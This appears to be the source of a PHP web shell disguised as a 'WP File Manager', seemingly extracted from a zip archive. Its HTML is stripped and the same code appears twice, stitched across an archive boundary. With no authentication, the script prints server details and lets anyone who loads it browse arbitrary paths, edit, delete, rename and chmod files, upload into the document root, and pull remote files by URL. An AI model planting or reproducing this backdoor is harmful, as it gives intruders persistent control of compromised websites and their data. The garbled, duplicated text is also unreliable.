'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëormir@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
